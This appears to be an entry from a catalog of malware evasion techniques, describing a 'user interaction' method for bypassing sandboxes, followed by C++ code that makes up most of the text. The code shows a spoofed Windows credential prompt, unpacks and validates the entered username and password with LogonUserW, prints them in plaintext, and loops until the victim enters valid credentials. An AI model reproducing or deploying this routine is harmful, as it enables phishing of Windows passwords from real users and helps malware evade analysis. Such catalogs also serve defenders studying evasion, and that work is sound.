User Interaction (Are you human?)

You can get an advantage against sandboxes by using user interaction techniques. For example, The average user has a username and password and as long as the user you are targeting does not enter their password correctly, you can prevent your malware execution and bypass the possible sandbox control.

U1339

Code Snippets

#include <Windows.h>
#include <tchar.h>
#include <CommCtrl.h>
#include <wincred.h>
#include <iostream>
#include <atlstr.h>

#pragma comment(lib, "comctl32.lib")
#pragma comment(lib, "Credui.lib")

void pickl3() {

	BOOL loginStatus = FALSE;
	do {
		CREDUI_INFOW credui = {};
		credui.cbSize = sizeof(credui);
		credui.hwndParent = nullptr;
		//credui.pszMessageText = L"...";
		credui.pszCaptionText = L"Please verify your Windows user credentials to proceed.";
		credui.hbmBanner = nullptr;

		ULONG authPackage = 0;
		LPVOID outCredBuffer = nullptr;
		ULONG outCredSize = 0;
		BOOL save = false;
		DWORD err = 0;

		err = CredUIPromptForWindowsCredentialsW(&credui, err, &authPackage, nullptr, 0, &outCredBuffer, &outCredSize, &save, CREDUIWIN_ENUMERATE_CURRENT_USER);
		if (err == ERROR_SUCCESS) {
			WCHAR pszUName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR pszPwd[CREDUI_MAX_PASSWORD_LENGTH * sizeof(WCHAR)];
			WCHAR domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			DWORD maxLenName = CREDUI_MAX_USERNAME_LENGTH + 1;
			DWORD maxLenPassword = CREDUI_MAX_PASSWORD_LENGTH + 1;
			DWORD maxLenDomain = CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1;
			CredUnPackAuthenticationBufferW(CRED_PACK_PROTECTED_CREDENTIALS, outCredBuffer, outCredSize, pszUName, &maxLenName, domain, &maxLenDomain, pszPwd, &maxLenPassword);

			WCHAR parsedUserName[CREDUI_MAX_USERNAME_LENGTH * sizeof(WCHAR)];
			WCHAR parsedDomain[CREDUI_MAX_DOMAIN_TARGET_LENGTH * sizeof(WCHAR)];
			CredUIParseUserNameW(pszUName, parsedUserName, CREDUI_MAX_USERNAME_LENGTH + 1, parsedDomain, CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1);

			HANDLE handle = nullptr;
			loginStatus = LogonUserW(parsedUserName, parsedDomain, pszPwd, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &handle);


			if (loginStatus == TRUE) {
				CloseHandle(handle);
				std::wcout << "\n[+] Valid credential is entered as " << pszUName << ":" << pszPwd;
				break;
			}
			else {
				std::wcout << "\n[-] Invalid credential is entered as " << pszUName << ":" << pszPwd;
				loginStatus = FALSE;
			}
		}
	} while (loginStatus == FALSE);
}



int main () {
	
	pickl3();
	return 0;
}

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